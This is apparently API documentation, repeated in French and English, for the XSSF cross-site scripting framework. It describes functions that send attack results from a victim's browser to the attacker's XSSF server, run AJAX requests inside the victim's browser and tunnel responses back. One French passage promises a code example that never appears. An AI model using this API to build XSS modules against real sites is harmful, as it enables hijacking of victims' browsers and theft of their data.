    Dans certains modules, il peut être intéressant d'envoyer un résultat au serveur XSSF. Ceci est rendu possible grâce à la fonction Javascript 'XSSF_POST' fournie par l'API XSSF. Cette fonction prend un paramètre obligatoire, et trois paramètres optionnels (dont deux qui ne sont pas utilisés dans les modules XSSF car seulement utilisés pour le Tunnel XSSF) :

• Response: Réponse envoyée au serveur XSSF par la victime. Cette réponse n'a pas à être préalablement encodée, car la fonction 'XSSF_POST' se chargera de le faire.
• Module Name: Sert uniquement à lier une réponse avec un nom de module. De cette façon, il est plus facile de voir dans les logs de quel module provient une réponse d'attaque.

Par exemple, un module simple retournant le contenu HTML de la page en cours contiendra seulement le code suivant :

XSSF JavaScript functions

In order to make module developement shorter and easier, XSSF provides some JavaScript functions that can be used from anywhere inside modules:

• XSSF_CREATE_XHR(): Creates and returns an XMLHttpRequest object compatible with the targeted browser
• XSSF_CREATE_IFRAME(ID, WIDTH, HEIGHT): Creates and return an IFRAME within webpage with given ID and sizes
• ID [String]: IFRAME identifier
• WIDTH [Integer]: IFRAME width
• HEIGHT [Integer]: IFRAME height


• XSSF_POST(Response, Module Name, Headers, Response ID): Returns a response from the victim to XSSF server
• Response [String]: Result of the XSS attack that has to be returned to XSSF
• Module Name [String]: Name of the XSSF module returning the attack
• Headers [String]: HTTP headers corresponding to the response. This option is ONLY used for XSSF Tunnel in order to return requests HTTP headers
• Response ID [String]: Response identifier. This option is ONLY used for XSSF Tunnel in order to link a request from attacker's browser to a victim's response


• XSSF_POST_B64(Response, Module Name): Returns a Base 64 response from the victim to XSSF server
• Response [String]: Base 64 result of the XSS attack that has to be returned to XSSF (XSSF server will automatically unencode)
• Module Name [String]: Name of the XSSF module returning the attack


• XSSF_POST_BINARY_AJAX_RESPONSE(XMLHttpRequest, Method, URL, Module Name, Data, Reponse ID): This function is useful to perform an AjaX request within victim browser and to return result to XSSF
• XMLHttpRequest [Object]: XMLHttpRequest object. It is possible to simply use 'XSSF_CREATE_XHR()' for this parameter
• Method [String]: Method used for the XMLHttpRequest (GET or POST)
• URL [String]: URL called from the XMLHttpRequest
• Module Name [String]: Name of the XSSF module returning the attack
• Data [String]: Data sent in case of an XMLHttpRequest POST request
• Response ID [String]: Response identifier. This option is ONLY used for XSSF Tunnel in order to link a request from attacker's browser to a victim's response


• clearTimeout(victim_loop);: Stop the victim loop. Take care of using exactly this function to stop a loop before using an other one on same victim

Some variables are also provided and can be accessed inside modules developement:

• XSSF_SERVER: Address of the XSSF server ('http://A.B.C.D:E/'). Can be used to load files, etc. Remember, if file needed is in an XSSF IFRAME, don't specify server adress, just '/'
• XSSF_VICTIM_ID: Victim's identifier
• XSSF_XHR: XMLHttpRequest object. Use it to perform AjaX GET/POST requests

NOTE: Other functions are also provided by XSSF JavaScript API, but are not presented here because they are useless for mudules creation.

IMPORTANT: All XSSF JavaScript functions, including XSSF_POST can be accessed from anywhere, even inside IFRAME created by developper. XSSF master will automatically add the JavaScript functions where they are needed.

Fonctions javascript XSSF

Dans le but de rendre le développement de modules plus court et plus simple, XSSF fournit une suite de fonctions JavaScript pouvant s'utiliser depuis n'importe où dans les modules :

• XSSF_CREATE_XHR() : Crée et retourne un objet XMLHttpRequest compatible avec le navigateur visé
• XSSF_CREATE_IFRAME(ID, WIDTH, HEIGHT) : Crée et retourne un objet IFRAME à l'intérieur de la page avec un identifiant et une taille donnée
• ID [String] : Identifiant de l'IFRAME
• WIDTH [Integer] : Largeur de l'IFRAME
• HEIGHT [Integer] : Hauteur de l'IFRAME


• XSSF_POST(Response, Module Name, Headers, Response ID) : Retourne une réponse depuis la victime vers le serveur XSSF
• Response [String] : Résultat de l'attaque XSS à retourner à XSSF
• Module Name [String] : Nom du module XSSF retournant le résultat
• Headers [String] : Entêtes HTTP correspondants à la réponse. Cette option est UNIQUEMENT utilisée par le Tunnel XSSF dans le but de retourner les entêtes HTTP de la réponse
• Response ID [String] : Identifiant de réponse. Cette option est pour l'instant UNIQUEMENT utilisée par le Tunnel XSSF dans le but de lier une réponse reçue à une requête envoyée depuis le navigateur de l'attaquant


• XSSF_POST_B64(Response, Module Name) : Retourne une réponse en Base 64 depuis la victime vers le serveur XSSF
• Response [String] : Résultat de l'attaque XSS en Base 64 à retourner à XSSF (le serveur XSSF fera automatiquement le "désencodage")
• Module Name [String] : Nom du module XSSF retournant le résultat


• XSSF_POST_BINARY_AJAX_RESPONSE(XMLHttpRequest, Method, URL, Module Name, Data, Reponse ID) : Cette fonction permet de réaliser une requête AjaX à l'intérieur du navigateur de la victime et d'en retourner le résultat à XSSF
• XMLHttpRequest [Object] : Objet XMLHttpRequest. Il est possible d'utiliser simplement la fonction'XSSF_CREATE_XHR()' pour renseigner ce paramètre
• Method [String] : Méthode à utiliser pour la requête XMLHttpRequest (GET ou POST)
• URL [String] : URL à appeler grâce au XMLHttpRequest
• Module Name [String] : Nom du module XSSF retournant le résultat
• Data [String] : Données à envoyer grâce au XMLHttpRequest dans le cas d'une requête POST
• Response ID [String] : Identifiant de réponse. Cette option est pour l'instant UNIQUEMENT utilisée par le Tunnel XSSF dans le but de lier une réponse reçue à une requête envoyée depuis le navigateur de l'attaquant


• clearTimeout(victim_loop); : Arrêt de la boucle XSSF principale. Prenez soin d'utiliser exactement cette commande pour arrêter la boucle principale avant d'en démarrer une autre sur la même victime

Quelques variables sont aussi fournies et peuvent s'utiliser à l'intérieur des modules :

• XSSF_SERVER : Adresse du serveur XSSF ('http://A.B.C.D:E/'). Peut s'utiliser pour charger des fichiers, etc. Si le fichier est appelé dans une IFRAME XSSF, il n'est pas nécessaire de préciser l'adresse du serveur XSSF mais seulement '/'.
• XSSF_VICTIM_ID : Identifiant de victime
• XSSF_XHR : Objet XMLHttpRequest. A utiliser pour réaliser des requêtes AjaX GET/POST

NOTE : Quelques fonctions JavaScript supplémentaires sont fournies par l'API XSSF mais ne sont pas présentées ici car inutiles pour la création de modules.

IMPORTANT : Toutes les fonctions JavaScript XSSF, y compris XSSF_POST, peuvent s'utiliser depuis n'importe quel endroit dans les modules, même à l'intérieur d'une IFRAME créée par l'attaquant. Le serveur maître XSSF se charge d'ajouter automatiquement ces fonctions lorsqu'elles sont utiles.